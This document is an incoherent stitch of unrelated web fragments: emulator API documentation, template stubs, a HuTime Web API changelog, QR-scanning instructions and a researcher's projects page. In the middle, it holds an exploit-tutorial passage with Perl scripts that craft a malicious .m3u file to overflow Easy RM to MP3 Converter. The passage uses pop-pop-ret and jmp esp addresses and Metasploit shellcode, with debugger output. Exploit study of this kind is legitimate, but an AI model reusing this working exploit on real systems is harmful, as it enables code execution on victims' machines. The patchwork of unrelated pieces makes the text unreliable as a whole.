| virtual void | setExecuteAddress (const Address &addr)=0 |
| Set the address of the next instruction to emulate. | |
| virtual Address | getExecuteAddress (void) const =0 |
| Get the address of the current instruction being executed. | |
| void | executeCurrentOp (void) |
| Do a single pcode op step. More... | |
Protected Member Functions | |
| virtual void | executeUnary (void) |
| Execute a unary arithmetic/logical operation. | |
| virtual void | executeBinary (void) |
| Execute a binary arithmetic/logical operation. | |
| virtual void | executeLoad (void) |
| Standard behavior for a p-code LOAD. | |
| virtual void | executeStore (void) |
| Standard behavior for a p-code STORE. | |
| virtual void | executeBranch (void) |
| Standard behavior for a BRANCH. More... | |
| virtual bool | executeCbranch (void) |
| Check if the conditional of a CBRANCH is true. More... | |
| virtual void | executeBranchind (void) |
| Standard behavior for a BRANCHIND. | |
| virtual void | executeCall (void) |
| Standard behavior for a p-code CALL. | |
| virtual void | executeCallind (void) |
| Standard behavior for a CALLIND. | |
| virtual void | executeCallother (void) |
| Standard behavior for a user-defined p-code op. | |
| virtual void | executeMultiequal (void) |
| Standard behavior for a MULTIEQUAL (phi-node) | |
| virtual void | executeIndirect (void) |
| Standard behavior for an INDIRECT op. | |
| virtual void | executeSegmentOp (void) |
| Behavior for a SEGMENTOP. | |
| virtual void | executeCpoolRef (void) |
| Standard behavior for a CPOOLREF (constant pool reference) op. | |
| virtual void | executeNew (void) |
| Standard behavior for (low-level) NEW op. | |
| Protected Member Functions inherited from Emulate | |
| virtual void | fallthruOp (void)=0 |
| Standard p-code fall-thru semantics. | |
Protected Attributes | |
| MemoryState * | memstate |
| The memory state of the emulator. | |
| PcodeOpRaw * | currentOp |
| Current op to execute. | |
| Protected Attributes inherited from Emulate | |
| bool | emu_halted |
| Set to true if the emulator is halted. | |
| OpBehavior * | currentBehave |
| Behavior of the next op to execute. | |
An abstract Emulate class using a MemoryState object as the backing machine state.
Most p-code operations are implemented using the MemoryState to fetch and store values. Control-flow is implemented partially in that setExecuteAddress() is called to indicate which instruction is being executed. The derived class must provide
The following p-code operations are stubbed out and will throw an exception: CALLOTHER, MULTIEQUAL, INDIRECT, CPOOLREF, SEGMENTOP, and NEW. Of course the derived class can override these.
|
protectedvirtual |
Standard behavior for a BRANCH.
This routine performs a standard p-code BRANCH operation on the memory state. This same routine is used for CBRANCH operations if the condition has evaluated to true.
Implements Emulate.
Reimplemented in EmulatePcodeCache.
|
protectedvirtual |
Check if the conditional of a CBRANCH is true.
This routine only checks if the condition for a p-code CBRANCH is true. It does not perform the actual branch.
Implements Emulate.
|
inline |
Get the emulator's memory state.


--- layout: example ---
This field will show the global message:
This field will show a customized message via script:
This field will show a customized message via data attribute:
data
go


2017-03-22
Manual in English
- English manual of HuTime Web API is released.
2017-02-22
API (20170222)
- Added the functions to operate on touch devices such as a smartphone.
2017-02-16
Source code of HuTime Web API
Source code of HuTime Web API is released on GitHub.
- Source code: https://github.com/hutime/WebHuTime/
- Manual: https://github.com/hutime/WebHuTimeManual/
2017-01-10
API (20170110)
- Added the function to read datetime which is not described in ISO 8601 in data sources.
- Added the function to read datetime described as a month, a year or a era.
- Fixed the specification to specify plot format.
(old)recordset.plotStyle = Function (record){}
(new)recordset.plotStyle = Function (itemName, record){}
cf: Formatting Individual Records -
Fixed the specification to label data.
(old)record.data["label"]
(new)record.data[itemName]
cf:Formatting Individual Records - Fixed a bug that size of a image object (HuTime.Image) changes after redrawing.
- Fixed a bug that final character in CSV or TSV files is not read when the file is not ended in CRLF.
- Fixed a bug that labels are not shown correctly when scale intervals in a chart is less than 1.
Manual updated
- A sample of HuTime is shown on the index page.
- Update information is shown on the index page.
- Fixed according to latest version (20170110).
2016-12-10
Released API (test version)
Test version with minimum function is released.
The test version is introduced in Computer and Humanities Symposium (JINMONCOM 2016).
Title: Web HuTime - Web platform for temporal information (Slide (in Japanese)).


{% load static %}
Thank You for Reaching Us !
We Will Get Back Toyou As Soon As We can.
Go to home!
Send Message


Click QR Scan and make QR Code under camera as on the video below (open it in a new Tab, if the video is not played).
Once QR is scanned, camera is closed and next action will be
done automatically
Result after scanning depends on other modules. For example, with module WeChat Payments in POS scanning will result registering qr-based payment.
For mobile devices we recommend to use POS Mobile UI module.


As explained above, In the Easy RM to MP3 example, we have been able to tweak our buffer so ESP pointed directly at our shellcode. What if there is not a single register that points to the shellcode ?
Well, in this case, an address pointing to the shellcode may be on the stack. If you dump esp, look at the first addresses. If one of these addresses points to your shellcode (or a buffer you control), then you can find a pop ret or pop pop ret (nothing to do with SEH based exploits here) to
– take addresses from the stack (and skip them)
– jump to the address which should bring you to the shellcode.
The pop ret technique obviously is only usabled when ESP+offset already contains an address which points to the shellcode… So dump esp, see if one of the first addresses points to the shellcode, and put a reference to pop ret (or pop pop ret or pop pop pop ret) into EIP. This will take some address from the stack (one address for each pop) and will then put the next address into EIP. If that one points to the shellcode, then you win.
There is a second use for pop ret : what if you control EIP, no register points to the shellcode, but your shellcode can be found at ESP+8. In that case, you can put a pop pop ret into EIP, which will jump to ESP+8. If you put a pointer to jmp esp at that location, then it will jump to the shellcode that sits right after the jmp esp pointer.
Let’s build a test case. We know that we need 26094 bytes before overwriting EIP, and that we need 4 more bytes before we are at the stack address where ESP points at (in my case, this is 0x000ff730).
We will simulate that at ESP+8, we have an address that points to the shellcode. (in fact, we’ll just put the shellcode behind it – again, this is just a test case).
26094 A’s, 4 XXXX’s (to end up where ESP points at), then a break, 7 NOP’s, a break, and more NOP’s. Let’s pretend the shellcode begins at the second break. The goal is to make a jump over the first break, right to the second break (which is at ESP+8 bytes = 0x000ff738).
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Let’s look at the stack :
Application crashed because of the buffer overflow. We’ve overwritten EIP with “BBBB”. ESP points at 000ff730 (which starts with the first break), then 7 NOP’s, and then we see the second break, which really is the begin of our shellcode (and sits at address 0x000ff738).
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
The goal is to get the value of ESP+8 into EIP (and to craft this value so it jumps to the shellcode). We’ll use the pop ret technique + address of jmp esp to accomplish this.
One POP instruction will take 4 bytes off the top of the stack. So the stack pointer would then point at 000ff734. Running another pop instruction would take 4 more bytes off the top of the stack. ESP would then point to 000ff738. When a “ret” instruction is performed, the value at the current address of ESP is put in EIP. So if the value at 000ff738 contains the address of a jmp esp instruction, then that is what EIP would do. The buffer after 000ff738 must then contains our shellcode.
We need to find the pop,pop,ret instruction sequence somewhere, and overwrite EIP with the address of the first part of the instruction sequence, and we must set ESP+8 to the address of jmp esp, followed by the shellcode itself.
First of all, we need to know the opcode for pop pop ret. We’ll use the assemble functionality in windbg to get the opcodes :
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
so the pop pop ret opcode is 0x58,0x5d,0xc3
Of course, you can pop to other registers as well. These are some other available pop opcodes:
Now we need to find this sequence in one of the available dll’s. In part 1 of the tutorial we have spoken about application dll’s versus OS dll’s. I guess it’s recommended to use application dll’s because that would increase the chances on building a reliable exploit across windows platforms/versions… But you still need to make sure the dll’s use the same base addresses every time. Sometimes, the dll’s get rebased and in that scenario it could be better to use one of the os dll’s (user32.dll or kernel32.dll for example)
Open Easy RM to MP3 (don’t open a file or anything) and then attach windbg to the running process.
Windbg will show the loaded modules, both OS modules and application modules. (Look at the top of the windbg output, and find the lines that start with ModLoad).
These are a couple of application dll’s
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
You can show the image base of a dll by running dumpbin.exe (from Visual Studio) with parameter /headers against the dll. This will allow you to define the lower and upper address for searches.
You should try to avoid using addresses that contain null bytes (\x00)(because it would make the exploit harder… not impossible, just harder.)
A search in MSRMCcodec00.dll gives us some results :
0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E..
01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M..e..Qj..5l
01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j........
Ok, we can jump to ESP+8 now. In that location we need to put the address to jmp esp (because, as explained before, the ret instruction will take the address from that location and put it in EIP. At that point, the ESP address will point to our shellcode which is located right after the jmp esp address… so what we really want at that point is a jmp esp)
From part 1 of the tutorial, we have learned that 0x01ccf23a refers to jmp esp.
Ok, let’s go back to our perl script and replace the “BBBB” (used to overwrite EIP with) with one of the 3 pop,pop,ret addresses, followed by 8 bytes (NOP) (to simulate that the shellcode is 8 bytes off from the top of the stack), then the jmp esp address, and then the shellcode.
The buffer will look like this :
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's EIP 8 bytes offset JMP ESP
(=POPPOPRET)
The entire exploit flow will look like this :
1 : EIP is overwritten with POP POP RET (again, this example has nothing to do with SEH based exploits. We just want to get a value that is on the stack into EIP). ESP points to begin of 8byte offset from shellcode
2 : POP POP RET is executed. EIP gets overwritten with 0x01ccf23a (because that is the address that was found at ESP+0x8). ESP now points to shellcode.
3 : Since EIP is overwritten with address to jmp esp, the second jump is executed and the shellcode is launched.
We’ll simulate this with a break and some NOP’s as shellcode, so we can see if our jumps work fine.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc int 3
0:000> d esp
000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Cool. that worked. Now let’s replace the NOPs after jmp esp (ESP+8) with real shellcode (some nops to be sure + shellcode, encoded with alpha_upper) (execute calc):
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\x90" x 50; #real shellcode
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned !


--- extends: base.j2 title: All Hero Challenge Order List description: List of hero order for the Dota 2 All Hero Challenge. --- {% block main %}


blue boxes count may change depending on the content.
if there are only 1 blue box the col size will change from 3 to 6 in the PHP
blue boxes count may change depending on the content.
if there are only 1 blue box the col size will change from 3 to 6 in the PHP
blue boxes count may change depending on the content.
if there are only 1 blue box the col size will change from 3 to 6 in the PHP
blue boxes count may change depending on the content.
if there are only 1 blue box the col size will change from 3 to 6 in the PHP
this box is a slider with fixed col-6 width and fixes 2 blue boxes height
blue boxes count may change depending on the content.
if there are only 1 blue box the col size will change from 3 to 6 in the PHP


Projects
Overview
- Research Interests
- Current Projects
- Previous Projects
- 3D Reconstruction from a Single Image
- Fast Adaptive Meta-Learning based branching for Mixed Interger Programming
- Core 3D (Funded by IARPA)
- Stochastic Dynamics for Video Infilling [paper] [project site]
- Variation Disentanglement Siamese Net [project site] [code]
- Neural Gesture (Funded by NSF) [paper] [code]
Research Interests
I am interested in many different aspects of Computer Vision:
- Large-scale representation learning of 3D Point Cloud
- Instance Segmentation and Object Detection of 3D Point Cloud
- Generative model in video (Frame Prediction and Interpolation).
- Representation learning and feature disentanglement
- Statistical Learning
Current Projects
Object Detection in Point Cloud
Previous Projects
3D Reconstruction from a Single Image
High quality single view 3D reconstruction by using SDF and local features. Please refer to our publication [project site]
Fast Adaptive Meta-Learning based branching for Mixed Interger Programming
We propose a meta-learning framework for variable selection in the branch-and-bound algorithm of Mixed Integer Programming(MIP). With the meta-learning methodology, we train our base model with samples from various MIP problems to mimic the general variable selection behavior of Strong Branching (SB). At the same time, the base model can also adaptively mimic the behavior of SB for a specific MIP instance, and easily get updated based on the current state once for a while during the branch-and-bound search. Experiments on benchmark instances indicate that our model is able to produce more accurate variable ranking than the state-of-the-art method using SVM ranking[Khalil et al., 2016], even trained with fewer online training sample.
| MAML | Initial Result |
|---|---|
Core 3D (Funded by IARPA)
The goal of this project is to construct 3D building models from large-scale satellite DEM and point cloud. The point cloud covers several regions of different geographical locations. I have: • Used concepts of principal direction to rectify the building 2D contour after planar RANSAC. • Simplified, merged and aligned the edges according to the proximity in Hough space. • Clustered the plane’s norm direction using DBSCAN and adjusted them to conventional angles.
| Motivaton | single building result |
|---|---|
Stochastic Dynamics for Video Infilling [paper] [project site]
We introduce a stochastic generation framework (SDVI) to infill long intervals in video sequences. SDVI consists of two parts: (1) a bi-directional constraint propagation to guarantee the spatial-temporal coherency among frames, (2) a stochastic sampling process to generate dynamics from the inferred distributions. Experimental results show that SDVI can generate clear and varied sequences.
| Motivation | Model |
|---|---|
Variation Disentanglement Siamese Net [project site] [code]
A project to study unsupervised disintanglement of image representation: Supervised by Prof. Shih-Fu Chang:
- Designed a semi-supervised network that disentangles the label-related and variance representation of a manifold.
- Introduced a Shannon-Entropy based adversarial training counterpart to help the disentanglement, expelling any label-related information from the variance representation.
- Setting recognition and reconstruction task to keep the richness in the feature embedding.
- Implemented the proposed network and conducted the experiment on both MNIST and CASIA Face dataset. Conducted disentanglement, reconstruction, cross-stich evaluation and TSNE Clustering on learnt representation.
| Model | Feature space interpolation | Feature space clustering |
|---|---|---|
Neural Gesture (Funded by NSF) [paper] [code]
The project is leaded by Prof. John Kender, studying relationship between gestures of speakers and audiences’ attention. I have:
- Design and implemented distance matching algorithm based on “Time Warp Edit Distance” between every pair of eye tracking trajectories to get a eye-tracking distance matrix.
- Fine-tuned the hyper-parameter of TWED based algorithm by comparing eye movement trails.
- Clustered subjects based on “fast multi-scale detection of relevant communities” by using the distance matrix.
| Attention fixation | Eye trajectory and co-relation |
|---|---|